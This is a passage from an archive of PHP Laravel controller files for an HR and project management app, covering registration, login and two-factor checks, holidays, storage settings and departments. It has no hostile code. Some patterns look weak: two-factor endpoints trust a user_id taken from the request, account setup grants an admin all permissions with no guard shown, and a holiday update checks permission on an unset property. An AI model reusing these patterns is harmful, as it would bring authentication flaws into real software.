Http/Controllers/ProjectMemberController.php000064400000010434150325104510015302 0ustar00pageTitle = 'app.menu.projects'; $this->middleware(function ($request, $next) { abort_403(!in_array('projects', $this->user->modules)); return $next($request); }); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function create() { $id = request('id'); $addProjectMemberPermission = user()->permission('add_project_members'); $project = Project::findOrFail($id); abort_403(!($addProjectMemberPermission == 'all' || $addProjectMemberPermission == 'added' || $project->project_admin == user()->id)); $this->employees = User::doesntHave('member', 'and', function ($query) use ($id) { $query->where('project_id', $id); }) ->join('role_user', 'role_user.user_id', '=', 'users.id') ->join('roles', 'roles.id', '=', 'role_user.role_id') ->select('users.id', 'users.name', 'users.email', 'users.created_at', 'users.image') ->where('roles.name', 'employee') ->groupBy('users.id') ->get(); $this->groups = Team::all(); $this->projectId = $id; return view('projects.project-member.create', $this->data); } /** * @param StoreProjectMembers $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreProjectMembers $request) { $project = Project::findOrFail($request->project_id); $project->projectMembers()->syncWithoutDetaching(request()->user_id); return Reply::success(__('messages.recordSaved')); } /** * Update the specified resource in storage. * * @param \Illuminate\Http\Request $request * @param int $id * @return \Illuminate\Http\Response */ public function update(Request $request, $id) { $member = ProjectMember::findOrFail($id); $member->hourly_rate = $request->hourly_rate; $member->save(); return Reply::success(__('messages.updateSuccess')); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { $projectMember = ProjectMember::findOrFail($id); $project = Project::withTrashed()->findOrFail($projectMember->project_id); if ($project->project_admin == $projectMember->user_id) { $project->project_admin = null; $project->save(); } $projectMember->delete(); return Reply::success(__('messages.memberRemovedFromProject')); } public function storeGroup(SaveGroupMembers $request) { $groups = $request->group_id; $project = Project::findOrFail($request->project_id); foreach ($groups as $group) { $members = EmployeeDetails::join('users', 'users.id', '=', 'employee_details.user_id') ->where('employee_details.department_id', $group) ->where('users.status', 'active') ->select('employee_details.*') ->get(); foreach ($members as $user) { $check = ProjectMember::where('user_id', $user->user_id)->where('project_id', $request->project_id)->first(); if (is_null($check)) { $member = new ProjectMember(); $member->user_id = $user->user_id; $member->project_id = $request->project_id; $member->save(); } } ProjectDepartment::create([ 'project_id' => $project->id, 'team_id' => $group ]); } return Reply::success(__('messages.recordSaved')); } } Http/Controllers/RegisterController.php000064400000014755150325104510014342 0ustar00invite = UserInvitation::where('invitation_code', $code) ->where('status', 'active') ->firstOrFail(); $this->globalSetting = GlobalSetting::first(); return view('auth.invitation', $this->data); } public function acceptInvite(AcceptInviteRequest $request) { $invite = UserInvitation::where('invitation_code', $request->invite) ->where('status', 'active') ->first(); $this->company = $invite->company; if (is_null($invite) || ($invite->invitation_type == 'email' && $request->email != $invite->email)) { return Reply::error('messages.acceptInviteError'); } DB::beginTransaction(); try { $user = new User(); $user->name = $request->name; $user->company_id = $invite->company_id; $user->email = $request->email; $user->password = bcrypt($request->password); $user->save(); $user = $user->setAppends([]); $lastEmployeeID = EmployeeDetails::where('company_id', $invite->company_id)->count(); $checkifExistEmployeeId = EmployeeDetails::select('id')->where('employee_id', ($lastEmployeeID + 1))->where('company_id', $invite->company_id)->first(); if ($user->id) { $employee = new EmployeeDetails(); $employee->user_id = $user->id; $employee->company_id = $invite->company_id; $employee->employee_id = ((!$checkifExistEmployeeId) ? ($lastEmployeeID + 1) : null); $employee->joining_date = now($this->company->timezone)->format('Y-m-d'); $employee->added_by = $user->id; $employee->last_updated_by = $user->id; $employee->save(); } $employeeRole = Role::where('name', 'employee')->where('company_id', $invite->company_id)->first(); $user->attachRole($employeeRole); $rolePermissions = PermissionRole::where('role_id', $employeeRole->id)->get(); foreach ($rolePermissions as $value) { $userPermission = UserPermission::where('permission_id', $value->permission_id) ->where('user_id', $user->id) ->firstOrNew(); $userPermission->permission_id = $value->permission_id; $userPermission->user_id = $user->id; $userPermission->permission_type_id = $value->permission_type_id; $userPermission->save(); } $logSearch = new AccountBaseController(); $logSearch->logSearchEntry($user->id, $user->name, 'employees.show', 'employee'); if ($invite->invitation_type == 'email') { $invite->status = 'inactive'; $invite->save(); } // Commit Transaction DB::commit(); // Send Notification to all admins about recently added member $admins = User::allAdmins($user->company->id); foreach ($admins as $admin) { event(new NewUserRegistrationViaInviteEvent($admin, $user)); } session()->forget('user'); Auth::login($user); return Reply::success(__('messages.signupSuccess')); } catch (TransportException $e) { // Rollback Transaction DB::rollback(); return Reply::error('Please configure SMTP details. Visit Settings -> notification setting to set smtp: ' . $e->getMessage(), 'smtp_error'); } catch (\Exception $e) { // Rollback Transaction DB::rollback(); return Reply::error('Some error occurred when inserting the data. Please try again or contact support: ' . $e->getMessage()); } return view('auth.invitation', $this->data); } /** * XXXXXXXXXXX * * @return \Illuminate\Http\Response */ public function setupAccount(AccountSetupRequest $request) { // Update company name $setting = Company::firstOrCreate(); $setting->company_name = $request->company_name; $setting->app_name = $request->company_name; $setting->timezone = 'Asia/Kolkata'; $setting->date_picker_format = 'dd-mm-yyyy'; $setting->moment_format = 'DD-MM-YYYY'; $setting->rounded_theme = 1; $setting->save(); // Create admin user $user = new User(); $user->name = $request->full_name; $user->email = $request->email; $user->password = bcrypt($request->password); $user->company_id = $setting->id; $user->save(); $employee = new EmployeeDetails(); $employee->user_id = $user->id; $employee->employee_id = $user->id; $employee->company_id = $setting->id; $employee->save(); $search = new UniversalSearch(); $search->searchable_id = $user->id; $search->title = $user->name; $search->route_name = 'employees.show'; $search->save(); // Attach roles $adminRole = Role::where('company_id', $setting->id)->where('name', 'admin')->first(); $employeeRole = Role::where('company_id', $setting->id)->where('name', 'employee')->first(); $user->roles()->attach($adminRole->id); $user->roles()->attach($employeeRole->id); $allPermissions = Permission::orderBy('id')->get()->pluck('id')->toArray(); foreach ($allPermissions as $permission) { $user->permissionTypes()->attach([$permission => ['permission_type_id' => PermissionType::ALL]]); } Auth::login($user); return Reply::success(__('messages.signupSuccess')); } } Http/Controllers/HolidayController.php000064400000046215150325104510014143 0ustar00pageTitle = 'app.menu.holiday'; } public function index(Request $request) { $this->viewPermission = user()->permission('view_holiday'); abort_403(!in_array($this->viewPermission, ['all', 'added', 'owned', 'both'])); if (request('start') && request('end')) { $holidayArray = array(); $holidays = Holiday::orderBy('date', 'ASC'); if (request()->searchText != '') { $holidays->where('holidays.occassion', 'like', '%' . request()->searchText . '%'); } if (in_array($this->viewPermission, ['owned', 'both'])) { $user = user(); $holidays->where(function ($query) use ($user) { // Common conditions $query->where(function ($q) use ($user) { $q->orWhere('department_id_json', 'like', '%"' . $user->employeeDetails->department_id . '"%') ->orWhereNull('department_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('designation_id_json', 'like', '%"' . $user->employeeDetails->designation_id . '"%') ->orWhereNull('designation_id_json'); }); $query->where(function ($q) use ($user) { $q->orWhere('employment_type_json', 'like', '%"' . $user->employeeDetails->employment_type . '"%') ->orWhereNull('employment_type_json'); }); // Additional condition for 'both' if ($this->viewPermission == 'both') { $query->orWhere('added_by', $user->id); } }); } $holidays = $holidays->get(); foreach ($holidays as $key => $holiday) { $holidayArray[] = [ 'id' => $holiday->id, 'title' => $holiday->occassion, 'start' => $holiday->date->format('Y-m-d'), 'end' => $holiday->date->format('Y-m-d'), ]; } return $holidayArray; } return view('holiday.calendar.index', $this->data); } /** * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|mixed|void */ public function create() { $this->addPermission = user()->permission('add_holiday'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $this->redirectUrl = request()->date ? route('holidays.index') : route('holidays.table_view'); $this->date = request()->date ? Carbon::parse(request()->date)->timezone(company()->timezone)->translatedFormat(company()->date_format) : ''; $this->pageTitle = __('app.menu.holiday'); $this->view = 'holiday.ajax.create'; $this->teams = Team::all(); $this->designations = Designation::allDesignations(); if (request()->ajax()) { return $this->returnAjax($this->view); } return view('holiday.create', $this->data); } /** * * @param CreateRequest $request * @return void */ public function store(CreateRequest $request) { $this->addPermission = user()->permission('add_holiday'); abort_403(!in_array($this->addPermission, ['all', 'added'])); $occassions = $request->occassion; $dates = $request->date; $notificationSent = $request->notification_sent; foreach ($dates as $index => $value) { if ($value != '') { $holiday = new Holiday(); $holiday->date = Carbon::createFromFormat($this->company->date_format, $value); $holiday->occassion = $occassions[$index]; $holiday->notification_sent = $notificationSent; if (!empty($request->department)) { $holiday->department_id_json = json_encode($request->department); } if (!empty($request->designation)) { $holiday->designation_id_json = json_encode($request->designation); } if (!empty($request->employment_type)) { $holiday->employment_type_json = json_encode($request->employment_type); } $holiday->save(); if ($holiday) { $holiday->event_id = $this->googleCalendarEvent($holiday); $holiday->save(); } } } if (request()->has('type')) { return redirect(route('holidays.index')); } $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('holidays.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } /** * Display the specified holiday. */ public function show(Holiday $holiday) { $this->holiday = $holiday; $departmentArray = $this->holiday?->department(json_decode($holiday->department_id_json)); $this->department = $departmentArray ? implode(', ', $departmentArray) : '--'; $designationArray = $this->holiday?->designation(json_decode($holiday->designation_id_json)); $this->designation = $designationArray ? implode(', ', $designationArray) : '--'; $this->employment_type = !empty($holiday->employment_type_json) ? collect(json_decode($holiday->employment_type_json)) ->map(function ($employmentType) { return __('modules.employees.' . $employmentType); }) ->implode(', ') : '--'; $this->viewPermission = user()->permission('view_holiday'); abort_403(!($this->viewPermission == 'all' || $this->viewPermission == 'owned' || $this->viewPermission == 'both' || ($this->viewPermission == 'added' && $this->holiday->added_by == user()->id))); $this->pageTitle = __('app.menu.holiday'); $this->view = 'holiday.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('holiday.create', $this->data); } /** * @param Holiday $holiday * @return \Illuminate\Contracts\Foundation\Application|\Illuminate\Contracts\View\Factory|\Illuminate\Contracts\View\View|mixed|void */ public function edit(Holiday $holiday) { $this->holiday = $holiday; $this->teams = Team::all(); $this->designations = Designation::allDesignations(); $this->departmentId = $this->holiday->department_id_json; $this->departmentArray = $this->departmentId ? json_decode($this->departmentId, true) : []; if (!is_array($this->departmentArray)) { $this->departmentArray = []; } $this->designationId = $this->holiday->designation_id_json; $this->designationArray = $this->designationId ? json_decode($this->designationId, true) : []; if (!is_array($this->designationArray)) { $this->designationArray = []; } $this->employmentType = $this->holiday->employment_type_json; $this->employmentTypeArray = $this->employmentType ? json_decode($this->employmentType, true) : []; if (!is_array($this->employmentTypeArray)) { $this->employmentTypeArray = []; } $this->editPermission = user()->permission('edit_holiday'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->holiday->added_by == user()->id))); $this->pageTitle = __('app.menu.holiday'); $this->view = 'holiday.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('holiday.create', $this->data); } /** * @param UpdateRequest $request * @param Holiday $holiday * @return array|void */ public function update(UpdateRequest $request, $id) { $this->editPermission = user()->permission('edit_holiday'); abort_403(!($this->editPermission == 'all' || ($this->editPermission == 'added' && $this->holiday->added_by == user()->id))); $data = $request->all(); $data['date'] = companyToYmd($request->date); $holiday = Holiday::find($id); $holiday->department_id_json = $request->has('department') ? json_encode($request->department) : null; $holiday->designation_id_json = $request->has('designation') ? json_encode($request->designation) : null; $holiday->employment_type_json = $request->has('employment_type') ? json_encode($request->employment_type) : null; $holiday->occassion = $request->occassion; $holiday->date = Carbon::createFromFormat($this->company->date_format, $request->date); $holiday->save(); if ($holiday) { $holiday->event_id = $this->googleCalendarEvent($holiday); $holiday->save(); } return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => route('holidays.index')]); } /** * @param Holiday $holiday * @return array|void */ public function destroy(Holiday $holiday) { $deletePermission = user()->permission('delete_holiday'); abort_403(!($deletePermission == 'all' || ($deletePermission == 'added' && $holiday->added_by == user()->id))); $holiday->delete(); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => route('holidays.index')]); } public function tableView(HolidayDataTable $dataTable) { $viewPermission = user()->permission('view_holiday'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $this->pageTitle = __('app.menu.listView'); $this->currentYear = now()->format('Y'); $this->currentMonth = now()->month; /* year range from last 5 year to next year */ $years = []; $latestFifthYear = (int)now()->subYears(5)->format('Y'); $nextYear = (int)now()->addYear()->format('Y'); for ($i = $latestFifthYear; $i <= $nextYear; $i++) { $years[] = $i; } $this->years = $years; return $dataTable->render('holiday.index', $this->data); } public function applyQuickAction(Request $request) { abort_403(!in_array(user()->permission('edit_leave'), ['all', 'added'])); if ($request->action_type === 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { abort_403(user()->permission('delete_holiday') != 'all'); Holiday::whereIn('id', explode(',', $request->row_ids))->delete(); } public function markHoliday() { $this->addPermission = user()->permission('add_holiday'); abort_403(!in_array($this->addPermission, ['all', 'added'])); return view('holiday.mark-holiday.index', $this->data); } public function markDayHoliday(CommonRequest $request) { $this->addPermission = user()->permission('add_holiday'); abort_403(!in_array($this->addPermission, ['all', 'added'])); if (!$request->has('office_holiday_days')) { return Reply::error(__('messages.checkDayHoliday')); } $year = now()->format('Y'); if ($request->has('year')) { $year = $request->has('year'); } if ($request->office_holiday_days != null && count($request->office_holiday_days) > 0) { foreach ($request->office_holiday_days as $holiday) { $day = $holiday; $dateArray = $this->getDateForSpecificDayBetweenDates($year . '-01-01', $year . '-12-31', ($day)); foreach ($dateArray as $date) { Holiday::firstOrCreate([ 'date' => $date, 'notification_sent' => $request->notification_sent ?: 'no', 'occassion' => $request->occassion ? $request->occassion : now()->weekday($day)->translatedFormat('l') ]); } $this->googleCalendarEventMulti($day, $year); } } $redirectUrl = 'table-view'; if (url()->previous() == route('holidays.index')) { $redirectUrl = route('holidays.index'); } return Reply::successWithData(__('messages.recordSaved'), ['redirectUrl' => $redirectUrl]); } public function getDateForSpecificDayBetweenDates($startDate, $endDate, $weekdayNumber) { $startDate = strtotime($startDate); $endDate = strtotime($endDate); $dateArr = []; do { if (date('w', $startDate) != $weekdayNumber) { $startDate += (24 * 3600); // add 1 day } } while (date('w', $startDate) != $weekdayNumber); while ($startDate <= $endDate) { $dateArr[] = date('Y-m-d', $startDate); $startDate += (7 * 24 * 3600); // add 7 days } return ($dateArr); } protected function googleCalendarEvent($event) { $module = GoogleCalendarModule::first(); $googleAccount = company(); if ($googleAccount->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->holiday_status == 1) { $google = new Google(); if ($event->date) { $date = \Carbon\Carbon::parse($event->date)->shiftTimezone($googleAccount->timezone); // Create event $google = $google->connectUsing($googleAccount->token); $eventData = new \Google_Service_Calendar_Event(array( 'summary' => $event->occassion, 'location' => $googleAccount->address, 'colorId' => 1, 'start' => array( 'dateTime' => $date->copy()->startOfDay(), 'timeZone' => $googleAccount->timezone, ), 'end' => array( 'dateTime' => $date->copy()->endOfDay(), 'timeZone' => $googleAccount->timezone, ), 'reminders' => array( 'useDefault' => false, 'overrides' => array( array('method' => 'email', 'minutes' => 24 * 60), array('method' => 'popup', 'minutes' => 10), ), ), )); try { if ($event->event_id) { $results = $google->service('Calendar')->events->patch('primary', $event->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } return $results->id; } catch (\Google\Service\Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } return $event->event_id; } protected function googleCalendarEventMulti($day, $year) { $googleAccount = company(); $module = GoogleCalendarModule::first(); if ($googleAccount->google_calendar_status == 'active' && $googleAccount->google_calendar_verification_status == 'verified' && $googleAccount->token && $module->holiday_status == 1) { $google = new Google(); $allDays = $this->getDateForSpecificDayBetweenDates($year . '-01-01', $year . '-12-31', $day); $holiday = Holiday::where(DB::raw('DATE(`date`)'), $allDays[0])->first(); $startDate = Carbon::parse($allDays[0]); $frequency = 'WEEKLY'; $eventData = new \Google_Service_Calendar_Event(); $eventData->setSummary(now()->startOfWeek($day)->translatedFormat('l')); $eventData->setColorId(7); $eventData->setLocation(''); $start = new \Google_Service_Calendar_EventDateTime(); $start->setDateTime($startDate); $start->setTimeZone($googleAccount->timezone); $eventData->setStart($start); $end = new \Google_Service_Calendar_EventDateTime(); $end->setDateTime($startDate); $end->setTimeZone($googleAccount->timezone); $eventData->setEnd($end); $dy = substr(now()->startOfWeek($day)->translatedFormat('l'), 0, 2); $eventData->setRecurrence(array('RRULE:FREQ=' . $frequency . ';COUNT=' . count($allDays) . ';BYDAY=' . $dy)); // Create event $google->connectUsing($googleAccount->token); // array for multiple try { if ($holiday->event_id) { $results = $google->service('Calendar')->events->patch('primary', $holiday->event_id, $eventData); } else { $results = $google->service('Calendar')->events->insert('primary', $eventData); } $holidays = Holiday::where('occassion', now()->startOfWeek($day)->translatedFormat('l'))->get(); foreach ($holidays as $holiday) { $holiday->event_id = $results->id; $holiday->save(); } return; } catch (\Google\Service\Exception $error) { if (is_null($error->getErrors())) { // Delete google calendar connection data i.e. token, name, google_id $googleAccount->name = null; $googleAccount->token = null; $googleAccount->google_id = null; $googleAccount->google_calendar_verification_status = 'non_verified'; $googleAccount->save(); } } } } } Http/Controllers/ProductCategoryController.php000064400000004275150325104510015670 0ustar00categories = ProductCategory::all(); return view('products.category.create', $this->data); } /** * @param StoreProductCategory $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreProductCategory $request) { $category = new ProductCategory(); $category->category_name = $request->category_name; $category->save(); $categories = ProductCategory::get(); $options = BaseModel::options($categories, $category, 'category_name'); $subCategoryData = ProductSubCategory::where('category_id', $category->id)->get(); return Reply::successWithData(__('messages.recordSaved'), ['data' => $options, 'subCategoryData' => $subCategoryData]); } /** * @param StoreProductCategory $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(StoreProductCategory $request, $id) { $category = ProductCategory::findOrFail($id); $category->category_name = strip_tags($request->category_name); $category->save(); $categories = ProductCategory::get(); $options = BaseModel::options($categories, null, 'category_name'); return Reply::successWithData(__('messages.updateSuccess'), ['data' => $options]); } /** * Remove the specified resource from storage. * * @param int $id * @return \Illuminate\Http\Response */ public function destroy($id) { ProductCategory::destroy($id); $categoryData = ProductCategory::all(); return Reply::successWithData(__('messages.deleteSuccess'), ['data' => $categoryData]); } } Http/Controllers/LoginController.php000064400000011032150325104510013607 0ustar00email) ->select('id') ->where('status', 'active') ->where('login', 'enable') ->first(); if (is_null($user)) { throw ValidationException::withMessages([ Fortify::username() => __('messages.invalidOrInactiveAccount'), ]); } return response([ 'status' => 'success' ]); } public function checkCode(Request $request) { $request->validate([ 'code' => 'required', ]); $user = User::findOrFail($request->user_id); if ($request->code == $user->two_factor_code) { // Reset codes and expire_at after verification $user->resetTwoFactorCode(); // Attempt login Auth::login($user); return redirect()->route('dashboard'); } // Reset codes and expire_at after failure $user->resetTwoFactorCode(); return redirect()->back()->withErrors(['two_factor_code' => __('messages.codeNotMatch')]); } public function resendCode(Request $request) { $user = User::findOrFail($request->user_id); $user->generateTwoFactorCode(); event(new TwoFactorCodeEvent($user)); return Reply::success(__('messages.codeSent')); } public function redirect($provider) { $this->setSocailAuthConfigs(); return Socialite::driver($provider)->redirect(); } public function callback(Request $request, $provider) { $this->setSocailAuthConfigs(); try { try { if ($provider != 'twitter' && $provider != 'linkedin') { $data = Socialite::driver($provider)->stateless()->user(); /* @phpstan-ignore-line */ } elseif ($provider == 'twitter') { $data = Socialite::driver('twitter-oauth-2')->user(); /* @phpstan-ignore-line */ } elseif ($provider == 'linkedin') { $data = Socialite::driver('linkedin-openid')->user(); /* @phpstan-ignore-line */ } else { $data = Socialite::driver($provider)->user(); } } catch (Exception $e) { return redirect()->route('login')->with(['message' => $e->getMessage()]); } if ($provider == 'twitter') { $user = User::where(['twitter_id' => $data->id])->first(); } else { $user = User::where(['email' => $data->email])->first(); } if (!$user) { return redirect()->route('login')->with(['message' => __('messages.unAuthorisedUser')]); } if ($user->status === 'deactive') { return redirect()->route('login')->with(['message' => __('auth.failedBlocked')]); } if ($user->login === 'disable') { return redirect()->route('login')->with(['message' => __('auth.failedLoginDisabled')]); } // User found DB::beginTransaction(); Social::updateOrCreate(['user_id' => $user->id], [ 'social_id' => $data->id, 'social_service' => $provider, ]); DB::commit(); Auth::login($user, true); return redirect()->intended($this->redirectPath()); } catch (Exception $e) { return redirect()->route('login')->with(['message' => $e->getMessage()]); } } public function redirectPath() { if (method_exists($this, 'redirectTo')) { return $this->redirectTo(); } return property_exists($this, 'redirectTo') ? $this->redirectTo : '/login'; } public function username() { return 'email'; } } Http/Controllers/StorageSettingController.php000064400000015163150325104510015512 0ustar00pageTitle = 'app.menu.storageSettings'; $this->activeSettingMenu = 'storage_settings'; $this->middleware(function ($request, $next) { abort_403(!(user()->permission('manage_storage_setting') == 'all')); return $next($request); }); } /** * Display a listing of the resource. * * @return \Illuminate\Http\Response */ public function index() { $this->awsCredentials = StorageSetting::where('filesystem', 'aws_s3')->first(); $this->digitalOceanCredentials = StorageSetting::where('filesystem', 'digitalocean')->first(); $this->wasabiCredentials = StorageSetting::where('filesystem', 'wasabi')->first(); $this->minioCredentials = StorageSetting::where('filesystem', 'minio')->first(); $this->localCredentials = StorageSetting::where('filesystem', 'local')->first(); if (!is_null($this->awsCredentials)) { $this->awsKeys = json_decode($this->awsCredentials->auth_keys); } if (!is_null($this->digitalOceanCredentials)) { $this->digitaloceanKeys = json_decode($this->digitalOceanCredentials->auth_keys); } if (!is_null($this->wasabiCredentials)) { $this->wasabiKeys = json_decode($this->wasabiCredentials->auth_keys); } if (!is_null($this->minioCredentials)) { $this->minioKeys = json_decode($this->minioCredentials->auth_keys); } $this->localFilesCount = FileStorage::where('storage_location', 'local')->count(); return view('storage-settings.index', $this->data); } /** * @param StoreRequest $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreRequest $request) { StorageSetting::query()->update(['status' => 'disabled']); $storage = StorageSetting::firstorNew(['filesystem' => $request->storage]); switch ($request->storage) { case 'digitalocean': $arrayResponse = [ 'driver' => 's3', 'key' => $request->digitalocean_key, 'secret' => $request->digitalocean_secret, 'region' => $request->digitalocean_region, 'bucket' => $request->digitalocean_bucket, ]; $storage->auth_keys = json_encode($arrayResponse); break; case 'wasabi': $arrayResponse = [ 'driver' => 's3', 'key' => $request->wasabi_key, 'secret' => $request->wasabi_secret, 'region' => $request->wasabi_region, 'bucket' => $request->wasabi_bucket, ]; $storage->auth_keys = json_encode($arrayResponse); break; case 'aws_s3': $arrayResponse = [ 'driver' => 's3', 'key' => $request->aws_key, 'secret' => $request->aws_secret, 'region' => $request->aws_region, 'bucket' => $request->aws_bucket, ]; $storage->auth_keys = json_encode($arrayResponse); break; case 'minio': $arrayResponse = [ 'driver' => 's3', 'key' => $request->minio_key, 'secret' => $request->minio_secret, 'region' => $request->minio_region, 'bucket' => $request->minio_bucket, 'endpoint' => $request->minio_endpoint, ]; $storage->auth_keys = json_encode($arrayResponse); break; } $storage->filesystem = $request->storage; $storage->status = 'enabled'; $storage->save(); cache()->forget('storage-setting'); session()->forget('storage-setting'); session(['storage_setting' => $storage]); return Reply::success(__('messages.updateSuccess')); } public function awsTestModal($type) { $this->type = $type; return view('storage-settings.test-s3-upload', compact('type')); } public function awsTest(StorageAwsFileUpload $request) { $file = $request->file('file'); try { $filename = Files::uploadLocalOrS3($file, '/'); } catch (\Exception $e) { return Reply::error($e->getMessage()); } $fileUrl = asset_url_local_s3($filename); return Reply::successWithData(__('messages.fileUploaded'), ['fileurl' => $fileUrl]); } public function awsLocalToAwsModal() { config(['filesystems.default' => 'local']); $this->files = FileStorage::where('storage_location', 'local')->orderBy('storage_location')->get(); $this->localFilesCount = FileStorage::where('storage_location', 'local')->count(); return view('storage-settings.local-to-aws', $this->data); } /** * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException * @throws FileNotFoundException */ public function moveFilesLocalToAwsS3() { $files = FileStorage::where('storage_location', 'local')->get(); foreach ($files as $file) { $filePath = public_path(Files::UPLOAD_FOLDER . '/' . $file->path . '/' . $file->filename); if (!File::exists($filePath)) { $file->delete(); continue; } $contents = File::get($filePath); $uploaded = Storage::disk(config('filesystems.default'))->put($file->path . '/' . $file->filename, $contents); if ($uploaded) { $file->storage_location = config('filesystems.default') === 's3' ? 'aws_s3' : config('filesystems.default'); $file->save(); $this->deleteFileFromLocal($filePath); } } return Reply::successWithData(__('messages.filesMoveToCloudSuccessfully'), ['fileurl' => 'done']); } private function deleteFileFromLocal($filePath) { if (File::exists($filePath)) { try { unlink($filePath); } catch (\Throwable $th) { return true; } } } } Http/Controllers/DepartmentController.php000064400000030032150325104510014643 0ustar00pageTitle = __('app.menu.department'); $this->middleware(function ($request, $next) { abort_403(!in_array('employees', $this->user->modules)); return $next($request); }); } /** * @param DepartmentDataTable $dataTable * @return mixed|void */ public function index(DepartmentDataTable $dataTable) { $viewPermission = user()->permission('view_department'); abort_403(!in_array($viewPermission, ['all', 'added', 'owned', 'both'])); $this->departments = Team::with('childs')->get(); return $dataTable->render('departments.index', $this->data); } public function create() { $this->departments = Team::allDepartments(); $this->view = 'departments.ajax.create'; if (request()->model == true) { return view('employees.create_department', $this->data); } if (request()->ajax()) { return $this->returnAjax($this->view); } return view('departments.create', $this->data); } /** * @param StoreDepartment $request * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function store(StoreDepartment $request) { $group = new Team(); $group->team_name = $request->team_name; $group->parent_id = $request->parent_id; $group->save(); $this->departments = Team::allDepartments(); $redirectUrl = urldecode($request->redirect_url); if ($redirectUrl == '') { $redirectUrl = route('departments.index'); } return Reply::successWithData(__('messages.recordSaved'), ['departments' => $this->departments, 'redirectUrl' => $redirectUrl]); } public function show($id) { $this->department = Team::findOrFail($id); $this->parent = Team::where('id', $this->department->parent_id)->first(); $this->view = 'departments.ajax.show'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('departments.create', $this->data); } public function edit($id) { $this->department = Team::findOrFail($id); $departments = Team::where('id', '!=', $this->department->id)->get(); $childDepartments = $departments->where('parent_id', $this->department->id)->pluck('id')->toArray(); $departments = $departments->where('parent_id', '!=', $this->department->id); // remove child departments $this->departments = $departments->filter(function ($value, $key) use ($childDepartments) { return !in_array($value->parent_id, $childDepartments); }); $this->view = 'departments.ajax.edit'; if (request()->ajax()) { return $this->returnAjax($this->view); } return view('departments.create', $this->data); } /** * @param UpdateDepartment $request * @param int $id * @return array * @throws \Froiden\RestAPI\Exceptions\RelatedResourceNotFoundException */ public function update(UpdateDepartment $request, $id) { $editDepartment = user()->permission('edit_department'); abort_403($editDepartment != 'all'); $group = Team::findOrFail($id); $group->team_name = strip_tags($request->team_name); $group->parent_id = $request->parent_id ?? null; $group->save(); $redirectUrl = route('departments.index'); return Reply::successWithData(__('messages.updateSuccess'), ['redirectUrl' => $redirectUrl]); } public function destroy($id) { $deletePermission = user()->permission('delete_department'); abort_403($deletePermission != 'all'); EmployeeDetails::where('department_id', $id)->update(['department_id' => null]); $department = Team::where('parent_id', $id)->get(); $parent = Team::findOrFail($id); if (count($department) > 0) { foreach ($department as $item) { $child = Team::findOrFail($item->id); $child->parent_id = $parent->parent_id; $child->save(); } } Team::destroy($id); $redirectUrl = route('departments.index'); return Reply::successWithData(__('messages.deleteSuccess'), ['redirectUrl' => $redirectUrl]); } public function applyQuickAction(Request $request) { if ($request->action_type == 'delete') { $this->deleteRecords($request); return Reply::success(__('messages.deleteSuccess')); } return Reply::error(__('messages.selectAction')); } protected function deleteRecords($request) { $deletePermission = user()->permission('delete_department'); abort_403($deletePermission != 'all'); $item = explode(',', $request->row_ids); if (($key = array_search('on', $item)) !== false) { unset($item[$key]); } foreach($item as $id) { EmployeeDetails::where('department_id', $id)->update(['department_id' => null]); $department = Team::where('parent_id', $id)->get(); $parent = Team::findOrFail( $id); if (count($department) > 0) { foreach ($department as $item) { $child = Team::findOrFail($item->id); $child->parent_id = $parent->parent_id; $child->save(); } } Team::where('id', $id)->delete(); } } public function hierarchyData() { $viewPermission = user()->permission('view_department'); abort_403($viewPermission != 'all'); $this->editPermission = user()->permission('edit_department'); $this->pageTitle = 'Department Hierarchy'; $this->chartDepartments = Team::get(['id', 'team_name', 'parent_id']); $this->departments = Team::with('childs', 'childs.childs')->where('parent_id', null)->get(); if (request()->ajax()) { return Reply::dataOnly(['status' => 'success', 'departments' => $this->departments]); } return view('departments-hierarchy.index', $this->data); } public function changeParent() { $editPermission = user()->permission('edit_department'); abort_403($editPermission != 'all'); $childIds = request('values'); $parentId = request('newParent') ? request('newParent') : request('parent_id'); $department = Team::findOrFail($parentId); // Root node again if (request('newParent') && $department) { $department->parent_id = null; $department->save(); } else if ($department && !is_null($childIds)) // update child Node { foreach ($childIds as $childId) { $child = Team::findOrFail($childId); if ($child) { $child->parent_id = $parentId; $child->save(); } } } $this->chartDepartments = Team::get(['id', 'team_name', 'parent_id']); $this->departments = Team::with('childs')->where('parent_id', null)->get(); $html = view('departments-hierarchy.chart_tree', $this->data)->render(); $organizational = view('departments-hierarchy.chart_organization', $this->data)->render(); return Reply::dataOnly(['status' => 'success', 'html' => $html, 'organizational' => $organizational]); } // Search filter start public function searchDepartment(Request $request) { $text = $request->searchText; if ($text != '' && strlen($text) > 2) { $searchParent = 